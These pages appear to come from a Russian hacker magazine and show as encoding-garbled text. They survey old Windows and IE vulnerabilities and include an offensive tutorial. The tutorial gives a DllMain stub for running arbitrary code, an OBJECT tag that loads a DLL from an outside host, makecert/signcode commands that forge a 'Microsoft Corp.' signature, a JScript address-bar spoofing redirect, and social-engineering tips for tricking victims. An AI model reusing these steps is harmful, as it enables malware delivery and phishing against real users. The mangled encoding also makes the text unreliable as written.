äåíöèàëü-
íîé èíôîð-
ìàöèè èñ-
ïîëüçóåòñÿ
ñåðâèñ
Protected
Storage
(äëÿ ïðîã-
ðàìì òèïà
IE, MSN,
Outlook),
êîòîðûé
ôèçè÷åñêè
ÿâëÿåòñÿ
ñêðûòîé
øèôðîâàí-
íîé âåòâüþ
ðååñòðà.

Ïîïóëÿðíî
èñïîëüçîâà-
íèå õåøåé
âìåñòî ïà-
ðîëÿ, íî îíî
èìååò
ñìûñë ïðè
äîñòàòî÷íî
äëèííûõ
ïàðîëÿõ,
÷òîáû íåëü-
çÿ áûëî
âçëîìàòü
ëîáîâûì
ïåðåáîðîì.

ÏÀÐÎËÈ È ÏÐÈÂÈËÅÃÈÈ10 ÂÂÅÄÅÍÈÅ

Ñàìûé ïîïóëÿðíûé ìåòîä 
äîáûâàíèÿ ïàðîëåé - ìûëüíûå ïîíè :).





Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

ÕÈÒÎÂÛÅ
ÓßÇÂÈÌÎÑÒÈ
ÑÀÌÛÅ ÏÎÏÓËßÐÍÛÅ ÄÛÐÊÈ Â WINDOWS È ÑÎÔÒÅ

RPC-DCOM È ASN.1
Îá ýòîì áàãå çíàåò

êàæäûé øêîëüíèê. Ýòî
áûëà áðåøü â ñëóæáå
RPC, øèðîêî èñïîëüçó-

åìîé â ñèñòåìå Windows. Îá óÿçâè-
ìîñòè óçíàëè 16 èþëÿ ïðîøëîãî ãîäà,
íî ïîäðîáíîñòè íèêòî ðàçãëàøàòü íå
ñîáèðàëñÿ. Ëèøü ïîòîì ñòàëî èçâåñò-
íî, ÷òî ïðîãðàììèñòû Microsoft äîïóñ-
òèëè äâå ôàòàëüíûõ îøèáêè, êîòîðûå
ïðèâîäèëè ê ïåðåïîëíåíèþ áóôåðà è
ïîçâîëÿëè âçëîìàòü ñèñòåìó, ñî âñå-
ìè ñóùåñòâóþùèìè íà òîò ìîìåíò
ñåðâèñïàêàìè. Â èòîãå, ðåïóòàöèÿ MS
áûëà ïîäìî÷åíà: ýêñïëîèò RPC DCOM,
êîòîðûé âûøåë ïðàêòè÷åñêè ñðàçó
ïîñëå ðåëèçà áàãà, ñòàë ñàìîé õèòî-
âîé õàöêåðñêîé òóëçîé çà âñþ èñòî-
ðèþ ñóùåñòâîâàíèÿ êîðïîðàöèè. 

Íî ñêðèïòêèäè ñ ìîùíûì îðóæèåì â
ðóêàõ - ïîëáåäû. Íàñòîÿùàÿ æå íà-
ïàñòü ïðèøëà ïîñëå çàïóñêà ÷åðâÿ÷-
êà MSBlast. Íàâåðíÿêà òû ñàì ñòàíî-
âèëñÿ æåðòâîé âèðóñà, ñèìïòîìû êî-
òîðîãî - ÷àñòûå ïåðåçàãðóçêè, ñîîá-
ùåíèÿ î çàâåðøåíèè ñåðâèñîâ, ñòðå-
ìèòåëüíàÿ óòå÷êà òðàôèêà è ëèøíèé
ôàéë msblast.exe, ïîñåëèâøèéñÿ â êà-
òàëîãå WINNT. Çà íåñêîëüêî äíåé ÷åð-
âÿê ïîðàáîòèë ìèëëèîíû ìàøèí è
ïðèíåñ ìèëëèàðäû äîëëàðîâ óáûòêà
êîðïîðàöèè. Ïîñòðàäàëà è ñàìà
Microsoft: â îïðåäåëåííîå âðåìÿ
MSBlast ñòàðàòåëüíî DDoS�èë ñàéò
www.windowsupdate.com.

Áàã â áèáëèîòåêå ASN.1 (Abstract
Syntax Notation One) ïîÿâèëñÿ ïîçä-
íåå áðåøè DCOM. Îäíàêî èç-çà óÿçâè-
ìîñòè ñíîâà ïîñòðàäàëà Microsoft è
äðóãèå èçâåñòíûå êîìïàíèè. À, êàçà-
ëîñü áû, îáû÷íîå ïåðåïîëíåíèå êó÷è.
Îâåðëîàä ïðîñëåæèâàëñÿ â íåêîòî-
ðûõ ôóíêöèÿõ áèáëèîòåêè
MSASN1.DLL (îíè îòâå÷àþò çà áåçî-
ïàñíóþ ïåðåäà÷ó äàííûõ). Èìåííî èç-
çà òîãî ÷òî ôóíêöèè áèáëèîòåêè èñ-
ïîëüçóþòñÿ â ñòîðîííèõ ïðèëîæåíèÿõ
(SSL â IIS, IP-òåëåôîíèÿ, ñåðâèñ lsass
è ò.ï.), óÿçâèìîñòü ñòàëà äåéñòâèòåëü-
íî õèòîâîé. Ïîñëå åå ðåëèçà è âûõîäà
ïåðâûõ ýêñïëîèòîâ ïîÿâèëñÿ ÷åðâÿ-
÷îê Sasser, êîòîðûé çà íåñêîëüêî ìè-
íóò cìîã ïîèìåòü òûñÿ÷è ìàøèí ðàç-

ëè÷íûõ êîðïîðàöèé. Ñèìïòîìû çàðà-
æåíèÿ ïîõîæè íà MSBlast'îâñêèå.

Çàùèòà:
Åäèíñòâåííàÿ çàùèòà îò ðàçðóøè-

òåëüíûõ îøèáîê - ñïåöèàëüíûå ïàò÷è,
êîòîðûå ïðîãðàììèñòû çàáîòëèâî âû-
ëîæèëè íà microsoft.com. Òàêæå ìîæ-
íî çàêðûòü ôàåðâîëîì 135-é, 139-é è
445-é ïîðòû è ñïàòü ñïîêîéíî.

Ïîäðîáíåå:
Îá RPC-óÿçâèìîñòÿõ íàïèñàíî ìíî-

æåñòâî ñòàòåé. Ìîæåøü ïî÷èòàòü

ñòàòüþ î DCOM-áàãå â Õàêåðå çà
09/2003 èëè Ñïåöå çà 08/2004
"Buffer overflow", ïîñâÿùåííîì ïåðå-
ïîëíåíèþ áóôåðà. Òàêæå ñìîòðè
www.securitylab.ru/42702.html - òàì íàõîäèò-
ñÿ ñïèñîê óÿçâèìûõ ôóíêöèé â ASN.1 è
ïîëíîå îïèñàíèå áàãà îò eEyes.

ÁÀÃ Â UTILITY
MANAGER (ÄËß WIN2000)

Áàã â ìåíåäæåðå áûë îáíàðóæåí ñ
ïîëãîäà íàçàä, íî ñîâñåì íåäàâíî
óìåëüöû-ïðîãðàììèñòû íàïèñàëè óòè-
ëèòó, ïîçâîëÿþùóþ ïîäíÿòü ïðàâà
ïðÿìî èç êîíñîëè. Ñóòü áðåøè çàêëþ-
÷àåòñÿ â ñëåäóþùåì: âçëîìùèê çà-
ïóñêàåò utilman (êîòîðûé âûïîëíÿåò-
ñÿ ñ SYSTEM-ïðèâèëåãèÿìè), çàòåì îá-
ðàùàåòñÿ çà ïîìîùüþ, à â êà÷åñòâå
help-ôàéëà óêàçûâàåò cmd.exe. Â èòî-
ãå, âçëîìùèê ïîëó÷àåò ïîëíîöåííóþ
àäìèíèñòðàòîðñêóþ êîíñîëü. Ñ ïî-
ìîùüþ íåõèòðûõ API-âûçîâîâ áûë íà-
ïèñàí êîíñîëüíûé ýêñïëîèò, ïîâûøà-
þùèé ïðèâèëåãèè ïîëüçîâàòåëÿ.

Çàùèòà:
Ñíà÷àëà ýêñïëîèò íå áûë ëîêàëèçî-

âàí è ìîã ñðàçèòü òîëüêî àíãëèéñêóþ
Âèíäó. ×åðåç íåñêîëüêî
äíåé ãðàìîòíûå ëþäè äî-
áèëèñü ëîêàëèçàöèè, òà-
êèì îáðàçîì, ïîñòàâèâ
ïîä óãðîçó ëþáóþ âåð-
ñèþ Win2k. Íî, êàê ãîâî-
ðÿò ïîñòðàäàâøèå è àòà-
êóþùèå, ýêñïëîèò íå äàåò
æåëàåìûõ ðåçóëüòàòîâ
íà Windows 2000 ñ ÷åò-
âåðòûì ñåðâèñïàêîì. Âû-
âîäû äåëàé ñàì :).
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ÕÈÒÎÂÛÅ ÓßÇÂÈÌÎÑÒÈ12 ÂÂÅÄÅÍÈÅ

Ñðàæåííàÿ Âèíäà

Ðîêîâîé áàã â ASN.1

Êîíñîëüíûé ýêñïëîèò äëÿ utilman.exe



Ïîäðîáíåå:
MS âûïóñòèëà ñïåöèàëüíûé ïàò÷,

êîòîðûé ôèêñèò ñìåðòîíîñíûé áàã -
www.microsoft.com/downloads/details.aspx?Famil
yId=94CD9925-D99B-4CB6-B51E-
248D4FD8AF07&displaylang=en. Òåõíè÷åñêèå
äåòàëè áðåøè - íà
www.xakep.ru/post/19120/default.asp.

ÁÀÃÈ Â SERV-U FTPD
Åñëè ñïðîñèòü ó ïîëüçîâàòåëÿ êà-

êîé-íèáóäü ëîêàëêè î ëó÷øåì FTP-
ñåðâåðå, òî îòâåò íàâåðíÿêà áóäåò:
Serv-U. Îò÷àñòè ýòî òàê, åñëè íå ó÷è-
òûâàòü ìíîãî÷èñëåííûå áàãè äàæå â
ïîñëåäíèõ âåðñèÿõ äåìîíà :). Âñå íà-
÷àëîñü ñ òîãî, ÷òî áàãîèñêàòåëè óñ-
ïåøíî îáíàðóæèëè ôàêò ïåðåïîëíå-
íèÿ áóôåðà ïðè ïåðåäà÷å êðèâûõ ïà-
ðàìåòðîâ ê êîìàíäå CHMOD. Åñëè äëè-
íà àðãóìåíòà áûëà áîëåå 256 ñèìâî-

ëîâ, ñòàíîâèëîñü âîçìîæíûì ïîìåñ-
òèòü â ñòåê ïðîèçâîëüíûé êîä. Â ïîñ-
ëåäóþùèõ âåðñèÿõ ýòó áðåøü óñòðà-
íèëè, íî áàãîèñêàòåëè îïÿòü îáíàðó-
æèëè áàãè â êîìàíäàõ LIST è MDTM (ñ
ïîõîæèìè ñèìïòîìàìè). Íåìíîãî ïîç-
æå âçëîìùèêè óçíàëè, ÷òî äåìîí ñâå-
òèò ëîêàëüíûé ïîðò, ê êîòîðîìó ìîæåò
ïîäêëþ÷èòüñÿ àäìèíèñòðàòîð. Ïîñëå
ïåðåõâàòà çëîóìûøëåííèê ñîçäàåò
íîâîãî þçåðà ñî âñåìè ïðàâàìè, à çà-
òåì îòêðûâàåò øåëë çàïðîñîì «SITE
EXEC cmd». Íåñìîòðÿ íà òî ÷òî
ýêñïëîèò ïðèìåíÿåòñÿ òîëüêî äëÿ ëî-
êàëüíîãî ïîäíÿòèÿ ïðàâ, åãî ìîæíî
ëåãêî èñïîëüçîâàòü â äûðÿâûõ
cgi/php/asp ñêðèïòàõ.

Çàùèòà:
Îò ëîêàëüíîãî áàãà çàùèòû ïîêà íå

ñóùåñòâóåò. À âîò óäàëåííûå áðåøè

èñïðàâëåíû â íîâîì ðåëèçå Serv-U
(www.serv-u.com). 

Ïîäðîáíåå:
Âñå áðåøè â äåìîíå ðàññìîòðåíû â

åæåìåñÿ÷íîì îáçîðå ýêñïëîèòîâ íà
ñòðàíèöàõ Õàêåðà. Ìîæåøü ïîñåòèòü
www.xakep.ru, ãäå ëåæèò òåõíè÷åñêàÿ èí-
ôîðìàöèÿ î äûðÿâîì ñåðâèñå.

ÁÀÃÈ Â INTERNET EXPLORER
Íè÷åãî òàê íå ðàäóåò þçåðà, êàê

åãî ëþáèìûé áðàóçåð. Íî çà êðàñèâû-
ìè îêîøêàìè è íàâîðî÷åííûìè âîç-
ìîæíîñòÿìè IE òàÿòñÿ ðîêîâûå áàãè.
Åñëè ðàññìàòðèâàòü áðåøè â ïîñëåä-
íåé âåðñèè IE, òî ãðåõ íå óïîìÿíóòü
ïðî íåêîððåêòíóþ îáðàáîòêó BMP-
èçîáðàæåíèé, â ðåçóëüòàòå êîòîðîé
ëþáîé æåëàþùèé ñïîñîáåí ïîäâå-
ñèòü äàæå ñàìóþ ñòîéêóþ Âèíäó. Èëè
äàæå âûïîëíèòü ïðîèçâîëüíûé êîä ñ
ïðàâàìè ëîïîóõîãî þçåðà (÷àùå âñå-
ãî ñ àäìèíñêèìè ïðèâèëåãèÿìè). ×óòü
ïîçæå ìèð óçíàë î ìíîãî÷èñëåííûõ
îñëèíûõ áàãàõ, ñ ïîìîùüþ êîòîðûõ
õàêåð ìîã ïðîâåñòè XXS-àòàêó è çà-
ëèòü (à òàêæå çàïóñòèòü è ïðîïèñàòü â
àâòîñòàðò) ïðîèçâîëüíûé ôàéë. È, íà-
êîíåö, ñòîèò íàïîìíèòü, ÷òî áðàóçåð
ïëîõî ãîâîðèò ïî-ãðå÷åñêè - åñëè îñ-
òàâèòü íà âåáå ññûëêó òèïà «about:áî-
ëåå_2000_ãðå÷åñêèõ_áóêîâîê»,
Explorer íå óñïååò äàæå ïèñêíóòü, à
ñðàçó æå ïîâåñèò ñåáÿ, à çàîäíî è
âñþ ñèñòåìó :).

Çàùèòà:
Ñïàñåíèå èùè íà microsoft.com. Ñïåðâà

ñëåé êóìóëÿòèâíûé ïàò÷èê, çàòåì ïîñ-
ëåäîâàòåëüíî âûêà÷èâàé çàïëàòêè
äëÿ êàæäîãî ñîêðóøèòåëüíîãî áàãà. 

Ïîäðîáíåå:
Íà securitylab.ru íàéäåøü ïîëíûé ñïè-

ñîê óÿçâèìîñòåé â áðàóçåðå. Äîñòàòî÷-
íî ëèøü âîñïîëüçîâàòüñÿ ïîèñêîì,
ââåäÿ çàïðîñ «Internet Explorer». E
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Áàãè áûëè âñåãäà, è ÷åì äàëü-
øå, òåì áîëüøå èõ áóäóò íàõîäèòü.
Ñëîæíåå ñòàíîâÿòñÿ ñèñòåìû. Íà-
âåðíîå, åñòü è åùå îäíà ïðè÷èíà -
÷àñòî êîäèðîâàíèåì çàíèìàþòñÿ
íà÷èíàþùèå ïðîãðàììèñòû. Áîëü-
øóþ ÷àñòü ðàáîòû äåëàþò ðåáÿòà,
ïîëãîäà íàçàä óâèäåâøèå Visual
Studio, à áîëåå ïðîäâèíóòûé íàðîä
òîëüêî êîíòðîëèðóåò èõ ðàáîòó.
Ñëàâà áîãó, ÷òî â ýêñïëóàòàöèè
ïðàêòè÷åñêè íå îñòàëîñü ñèñòåì,
êîòîðûå ÿ ïèñàë íà ïåðâûõ êóðñàõ
óíèâåðà :). Ñåé÷àñ, âñïîìèíàÿ ïðî
íèõ, ÿ êðàñíåþ. 

Î÷åíü âàæíî ñâîåâðåìåííî ïîëó-
÷àòü èíôîðìàöèþ îá óÿçâèìîñòÿõ
è óñòàíàâëèâàòü îáíîâëåíèÿ íà
ñèñòåìó. Èñòî÷íèêè ïîäîáíîé èí-
ôîðìàöèè: securitylab.ru, securi-
ty.nnov.ru, xakep.ru è ò.ï. Íî íå ñòîèò çàáûâàòü ïðî ïåðâîèñòî÷íèêè -
Bugtraq, ïîäïèñàòüñÿ íà êîòîðûé ìîæíî íà ñåðâåðå
securityfocus.com.

Ó ìíîãèõ âåíäîðîâ åñòü ïîäîáíûå ñïèñêè. Íàïðèìåð, óçíàòü î íîâûõ
ïàò÷àõ äëÿ Windows ìîæíî ïî àäðåñó www.microsoft.com/rus/securi-
ty/default.mspx. ×àñòî ãîâîðÿò î òîì, ÷òî èíôîðìàöèÿ â ïèñüìàõ
Microsoft ïîâåðõíîñòíà è íå äàåò âîçìîæíîñòè ðàçîáðàòüñÿ â òîì, ÷òî
çà äûðà çàêðûâàåòñÿ. Öåëèêîì è ïîëíîñòüþ ñîãëàñåí, îäíàêî åñòü
ìàëåíüêèé òðþê, êîòîðûé ïîçâîëÿåò óçíàòü îá óÿçâèìîñòè áîëüøå.
Âíèìàòåëüíî ïðî÷èòàé ñîîáùåíèå î ïåðåïîëíåíèè áóôåðà â GDI+,
ïîçâîëÿþùåì âûïîëíèòü êîä ïðè ïðîñìîòðå êàðòèíêè JPEG -
www.microsoft.com/technet/security/bulletin/MS04-0028.mspx. Êðîìå
äàííûõ î òîì, ãäå ñêà÷àòü ïàò÷, çäåñü ïðèñóòñòâóþò ñòðàííûå ñèìâî-
ëû CAN-2004-0200. Ýòî óêàçàòåëü íà åäèíûé ðååñòð èíôîðìàöèè îá
óÿçâèìîñòÿõ «Common Vulnerabilities and Exposures», è, çàéäÿ ïî
ññûëêå www.cve.mitre.org/cgi-bbin/cvename.cgi?name=CAN-22004-
0200, òû íàéäåøü ïðàêòè÷åñêè ëþáóþ èíôîðìàöèþ îá ýòîé äûðêå. 

È íå çàáûâàé ïðî àâòîìàòè÷åñêîå îáíîâëåíèå. Ïóñêàé Windows ïàò-
÷èò ñàìà ñåáÿ!

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

offtopic, ïðîôåññèîíàë â îáëàñòè IT-
áåçîïàñíîñòè, ïîñòîÿííûé àâòîð è
ìîäåðàòîð ôîðóìîâ ïðîåêòà
Securitylab.ru, MCSE è MCT

Íàéäåííûé áàã â Serv-U

Òàêàÿ ñòðàíèöà âåøàåò IE



×ÒÎ ÒÀÊÎÅ ACTIVEX 
È ×ÅÌ ÅÃÎ ÊÎÄßÒ?

ActiveX - ýòî ìàéêðîñîôòî-
âñêàÿ òåõíîëîãèÿ âíåäðåíèÿ â
web-ñòðàíèöû è ïðîãðàììû

êîíòðîëîâ (ýëåìåíòîâ óïðàâëåíèÿ). Êîíòðîë
åñòü îáû÷íàÿ áèáëèîòåêà ñ ðàñøèðåíèåì
DLL èëè OCX, êîòîðàÿ âûâîäèò íà web-ñòðà-
íèöó ÷òî-íèáóäü âðîäå êíîïêè ñ ïðûãàþùåé
êàðòèíêîé. Êíîïêà ïðîðèñîâûâàåòñÿ, ðåàãèðó-
åò íà ìûøåäâèæåíèÿ è êíîïêîíàæàòèÿ, èìååò
ñâîè ñâîéñòâà è ìåòîäû, êîòîðûìè ìîæíî óï-
ðàâëÿòü èç JavaScript. Âñïîìíèì, íàïðèìåð,
ìóëüòèêè è áàííåðû íà Macromedia Flash â îê-
íå IE. Ýòî è åñòü ActiveX.

Ïèñàòü ActiveX ìîæíî íà C++, Delphi, òåî-
ðåòè÷åñêè äàæå íà Àññåìáëåðå. Ìîæíî âà-
ÿòü èõ è íà Visual Basic, íî ýòî ñêîðåå ãðóñò-
íî, ÷åì ñìåøíî. Äëÿ MS Visual C++ åñòü äâå
îñíîâíûå àëüòåðíàòèâû - MFC è ATL. MFC -
î÷åíü ìîùíàÿ è ãèáêàÿ áèáëèîòåêà, íî åå
íóæíî ëèáî ñòàòè÷åñêè ïðèëèíêîâûâàòü ê
ñâîåé ïðîãðàììå (òîãäà exe�øíèê ïîëó÷àåò-
ñÿ ñëèøêîì áîëüøèì), ëèáî óñòàíàâëèâàòü
DLL (÷òî åùå áîëåå ìóòîðíî è ÷ðåâàòî êîø-
ìàðîì DLL Hell).

Ïîýòîìó ActiveX äëÿ IE ïèøóò ñ ïîìîùüþ
ATL. ×òîáû èñïûòàòü ýòî íà ïðàêòèêå, çàãðó-
çèì VC++ 6.0, âûáåðåì File -> New -> Projects
-> ATL COM AppWizard. Â ìàñòåðå ìîæíî ñðà-
çó íàæàòü Finish. Íàøåìó âçîðó îòêðîåòñÿ
çàãîòîâêà íîâîãî ïðèëîæåíèÿ ATL. Çàòåì
ñìåëî âûáèðàåì Insert -> New ATL Object ->
Controls -> HTML Control, à äàëüøå ïðîõîäèì
ïî øàãàì ìàñòåðà è ñòàâèì íóæíûå ïàðàìåò-
ðû. Îí ñãåíåðèðóåò êàðêàñ êîíòðîëà, íà êî-
òîðûé çàòåì ìîæíî áóäåò íàâåøèâàòü êîä
äëÿ ïðîðèñîâêè êíîïêè, îáðàáîòêè íàæàòèé
íà íåå è ïðî÷èõ òåëîäâèæåíèé.

ÍÀØ ÊÎÍÒÐÎË - ÏÐÎÑÒÀß DLL
Ñíà÷àëà ÿ òàê è ñäåëàë (òî÷íåå, ïðîñòî

ïåðåäåëàë ïðèìåð ATLButton èç MSDN, êîòî-
ðûé âîîáùå î÷åíü èíòåðåñåí òåì, êòî ñîáè-
ðàåòñÿ êîäèòü ActiveX-êîíòðîëû). À ïîòîì çà-
äàëñÿ âîïðîñîì, êàêîé â ýòîì ñìûñë. Âåäü
íàøà öåëü - çàïóñòèòü âðåäîíîñíûé êîä. À
äëÿ ýòîãî íå íóæíî íè èíèöèàëèçèðîâàòü
COM, íè ðåãèñòðèðîâàòü êîíòðîë â ðååñòðå, è
óæ òåì áîëåå íå íóæíî ðèñîâàòü êíîïêè íà
ýêðàíå. Â èòîãå ïîëó÷àåòñÿ, ÷òî ActiveX íå
òðåáóåòñÿ âîîáùå :).

Êàê âñÿêàÿ òåõíîëîãèÿ, ActiveX áàçèðóåòñÿ
íà äðóãîé òåõíîëîãèè, à èìåííî, íà DLL. À â

áèáëèîòåêàõ DLL åñòü òàêàÿ ëþáîïûòíàÿ
âåùü, êàê ôóíêöèÿ DllMain, êîòîðóþ Windows
âûçûâàåò ïðè ïîäãðóçêå è âûãðóçêå áèáëèî-
òåêè. ×òîáû ñîçäàòü ActiveX êîíòðîë, ñèñòåìà
áóäåò îáðàùàòüñÿ ê ôóíêöèÿì
DllRegisterServer è DllGetClassObject â íàøåé
áèáëèîòåêå, íî ïåðåä ýòèì åé òàê èëè èíà÷å
ïðèäåòñÿ ýòó áèáëèîòåêó çàãðóçèòü. À ÷òî åñ-
ëè ðàçìåñòèòü çëîé êîä â DllMain, ñ êîòîðîé
íà÷èíàåòñÿ ýòà öåïî÷êà âûçîâîâ?

BOOL APIENTRY DllMain(HANDLE hModule, DWORD
reason, LPVOID Reserved)

{MessageBox(0, "hacked!", "Xakep", 0);
//Çäåñü ñòàâèòñÿ ïðîèçâîëüíûé êîä ;).
return TRUE; }

Âîò è âñÿ ïðîãðàììà. Åñëè óáðàòü CRT, òî
îñòàíåòñÿ âñåãî 2,5 Êá. À ñàìûé ïðîñòîé ATL-
êîíòðîë âåñèò áîëüøå 30 Êá - ÷òî íàçûâàåò-
ñÿ, ïî÷óâñòâóéòå ðàçíèöó! Òåïåðü ñîçäàåì
HTML-ôàéë, â êîòîðîì ïèøåì ÷òî-íèáóäü
âðîäå:

<OBJECT CLASSID="CLSID:0499388E-3A64-11D0-
BFAB-080000185165"

codebase="http://www.xakepsite.ru/MyDLL.dll">

×èñëà ïîñëå CLSID ìîæíî ñòàâèòü ñëó÷àé-
íûå, ãëàâíîå, ÷òîáû îíè íå ñîâïàäàëè ñ èäåí-
òèôèêàòîðàìè ñòàíäàðòíûõ êîíòðîëîâ (à ÷è-
ñåë íàñòîëüêî ìíîãî, ÷òî ýòîãî íå ïðîèçîéäåò
íèêîãäà). Îòêðûâàåì ñòðàíè÷êó è âèäèì... Íåò,
ñêîðåå âñåãî, íè÷åãî íå âèäèì, ïîòîìó ÷òî íå-
ïîäïèñàííûå êîíòðîëû ïî óìîë÷àíèþ îòêëþ-
÷àþòñÿ. Âåðíåå, íà äàííîì ýòàïå íàøåãî
áîëüøîãî ïóòè ýôôåêò (â âèäå ñîîáùåíèÿ
«hacked!») îò ýòîãî çëà ïîÿâèòñÿ, òîëüêî åñëè
áóäåò óñòàíîâëåí íèçêèé óðîâåíü áåçîïàñ-
íîñòè, à â codebase ïðîïèñàí ëîêàëüíûé àä-
ðåñ DLL. Íî ïåðåä ýòèì IE ïîêàæåò ïðîòèâíîå
îêíî-óâåäîìëåíèå î òîì, ÷òî êîíòðîë íå ïîä-
ïèñàí. Êàê ýòîãî èçáåæàòü? Ñóùåñòâóåò óÿç-
âèìîñòü ýëåêòðîííûõ ïîäïèñåé (ñì. ññûëêó âî
âðåçêå), êîòîðóþ òåîðåòè÷åñêè ìîæíî èñ-
ïîëüçîâàòü äëÿ çàïóñêà íåïîäïèñàííûõ
ActiveX, îäíàêî íè îäíîãî ïóáëè÷íîãî ýêñïëî-
èòà äëÿ ýòîé óÿçâèìîñòè íàì íàéòè íå óäà-
ëîñü. È òîãäà íàñòàë ÷åðåä ïîääåëüíûõ ïîä-
ïèñåé è ñîöèàëüíîé èíæåíåðèè...

ÝËÅÊÒÐÎÍÍÛÅ ÏÎÄÏÈÑÈ
Ëþáîé ÷åëîâåê áåç îñîáîãî íàïðÿæåíèÿ

ìîæåò ïîëó÷èòü ñâîþ ëè÷íóþ ýëåêòðîííóþ

»

Ïåòð Êàíüêîâñêè (kankowski@narod.ru)

Ä ûðîê â IE ñòîëüêî, ÷òî èõ exploit'àöèåé íå áàëîâàëñÿ ðàçâå ÷òî ñîâñåì
ëåíèâûé. Íî èñïîëüçîâàòü ìíîãîêðàòíî îïèñàíûå â èíòåðíåòå ìåòîäû � ýòî

íå íàø âûáîð. Ïîýòîìó ïðåäëàãàåì òâîåìó âíèìàíèþ íåòðèâèàëüíûé ñïîñîá,
îñíîâàííûé íà ActiveX, ïîääåëüíûõ ýëåêòðîííûõ ïîäïèñÿõ è ñîöèàëüíîé
èíæåíåðèè. Íàñëàæäàéñÿ!
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ïîäïèñü. Äëÿ ýòîãî íóæíî âçÿòü âà-
ëèäíûé íîìåð êðåäèòêè (íå áóäåì ãî-
âîðèòü, ãäå åãî ìîæíî íàéòè), çàïëà-
òèòü $20 êîìïàíèè VeriSign
(www.verisign.com) - è ïîäïèñûâàé êîíò-
ðîëû ñêîëüêî äóøå óãîäíî. Êàê ýòî íè
ñòðàííî, ïðîâåðÿòü íàïèñàííûå òîáîé
ïðîãðàììû íèêòî íå áóäåò, êàê íå íàé-
äåòñÿ è æåëàþùèõ óòî÷íèòü òâîå èìÿ
è ôàìèëèþ. Ïðîöåäóðà ïîëó÷åíèÿ
ýëåêòðîííîãî ñåðòèôèêàòà âî ìíîãîì
ôîðìàëüíà, è ïîäïèñü, ïî ñóòè, íå
ïîäòâåðæäàåò áåçîïàñíîñòè ActiveX
êîíòðîëà.

Ðàçóìååòñÿ, ÿ íè÷åì ïîäîáíûì íå
çàíèìàþñü è ïîòîìó äëÿ èëëþñòðàöèè
ðåøèë ñîçäàòü òåñòîâûé ñåðòèôèêàò
óòèëèòîé makecert èç ActiveX SDK. Ñà-
ìîå çàáàâíîå â íåé òî, ÷òî ìîæíî óêà-
çàòü ëþáîå èìÿ, íàïðèìåð, íàçâàíèå
èçâåñòíîé êîðïîðàöèè:

makecert -u:secret123 -n:CN="Microsoft
Corp." cert.cer

cert2spc root.cer cert.cer cert.spc
signcode -prog MyDll.dll -spc cert.spc -pvk

secret123

Â ðåçóëüòàòå áèáëèîòåêà íàøà óâå-
ëè÷èòñÿ äî 3,8 Êá, à ïðè îòêðûòèè
web-ñòðàíèöû áóäåò ïîÿâëÿòüñÿ òàêîå
îêîøêî, êàê íà êàðòèíêå.

Äîâîëüíî ïîõîæå íà îáû÷íóþ öèô-
ðîâóþ ïîäïèñü, íå òàê ëè? À åñëè íà
àíãëèéñêîì, òî äîáðàÿ ïîëîâèíà ÷àé-

íèêîâ âîîáùå íè÷åãî íå ïîéìåò. Ýô-
ôåêò óñèëèòñÿ, åñëè ïåðåä çàãðóçêîé
ñâîåãî ActiveX ïðåäëîæèòü ïîëüçîâà-
òåëþ ñêà÷àòü íîâóþ âåðñèþ Flash äëÿ
ïðîñìîòðà ñèìïàòè÷íîãî ìóëüòèêà.
Âòîðîé ðàç îí, íå îñîáåííî â÷èòûâà-
ÿñü â òåêñò ïðåäóïðåæäåíèÿ, íàæìåò
íà Yes, ïðåäâêóøàÿ íîâóþ ïîðöèþ
àíèìàöèè.

Ðàçóìååòñÿ, íàäåÿòüñÿ íà òî, ÷òî íà-
øà æåðòâà áóäåò òàêîé ñëàáîóìíîé,
íàì íå ïðèõîäèòñÿ, ïîýòîìó åñòü ñïî-
ñîá îáìàíóòü è ìåíåå äîâåð÷èâûõ
ïîëüçîâàòåëåé.

ÊËÎÍÈÐÓÅÌ ÈÇÂÅÑÒÍÛÉ ÑÀÉÒ
Îäíà èç óÿçâèìîñòåé â IE ïîçâî-

ëÿåò ïîäìåíèòü òåêñò, îòîáðàæàåìûé
â àäðåñíîé ñòðîêå. Íåñìîòðÿ íà òî ÷òî
ïàò÷ âûøåë åùå â ôåâðàëå ýòîãî ãî-
äà, áîëüøèíñòâî ñèñòåì ïî÷åìó-òî äî
ñèõ ïîð ïîäâåðæåíî ýòîé îøèáêå.
Ñöåíàðèé àòàêè òàêîâ. Åñòü êàêîé-òî
èçâåñòíûé ñàéò, íàïðèìåð, www.brit-
ney.com. Êèáåð-ñêâîòòåð ïîêóïàåò äî-
ìåííûå èìåíà www.brinty.com è
www.brinti.com. Íà íèõ îí ñòàâèò òàêîé
ðåäèðåêò:

<script language="JScript">
location.href=unescape('http://www.brit-

ney.com%01@xakepsite.ru/hack.htm')
</script>

Â ðåçóëüòàòå áðàóçåð ïåðåõîäèò íà
xakepsite.ru/hack.htm, íî â àäðåñíîé

ñòðîêå îòîáðàæàåòñÿ www.britney.com!
(Ïîäðîáíåå î ðåàëèçàöèè ýòîãî áàãà
äëÿ âîðîâñòâà ïî÷òîâûõ ïàðîëåé ïè-
ñàë NSD â îäíîì èõ íîìåðîâ Õ.) Â
íàøåì æå ñëó÷àå çëîóìûøëåííèêó
îñòàåòñÿ òîëüêî ñêîïèðîâàòü
îôîðìëåíèå îðèãèíàëüíîãî ñàéòà è
ñðåäè ïàðî÷êè Flash-ìóëüòèêîâ âñòà-
âèòü â íåãî àãðåññèâíûé ActiveX. Òà-
êóþ øóòêó áóäåò îñîáåííî ëåãêî
ñûãðàòü ñ íåêîòîðûìè êîðïîðàòèâ-
íûìè ñàéòàìè, êîòîðûå â ñâîåì èñ-
õîäíîì âàðèàíòå íàñûùåíû ActiveX-
êîíòðîëàìè.

Ïîëüçîâàòåëü äàæå íå ïî÷óâñòâó-
åò ðàçíèöû. Åùå ðàç ïîñìîòðè íà
êàðòèíêó. Òû íà ñàéòå èçâåñòíîé
êîðïîðàöèè è êà÷àåøü ActiveX åå æå
ïðîèçâîäñòâà. Êàêîé òóò ìîæåò áûòü
ïîäâîõ? Åñëè òùàòåëüíî ñêîïèðî-
âàòü îôîðìëåíèå è ñîäåðæàíèå ñàé-
òà, ìîæíî îáäóðèòü ñàìîãî êðóòîãî
àäìèíà, ïîòîìó ÷òî ïî÷òè íèêòî íå
÷èòàåò ýòèõ ãëóïûõ ïðåäóïðåæäåíèé.
Èìåííî òàê ðàáîòàåò ñîöèàëüíàÿ èí-
æåíåðèÿ â ñî÷åòàíèè ñ õîðîøî ïî-
äîáðàííûìè ýêñïëîèòàìè.

Êñòàòè, êîãäà óñòàíîâëåí íèçêèé
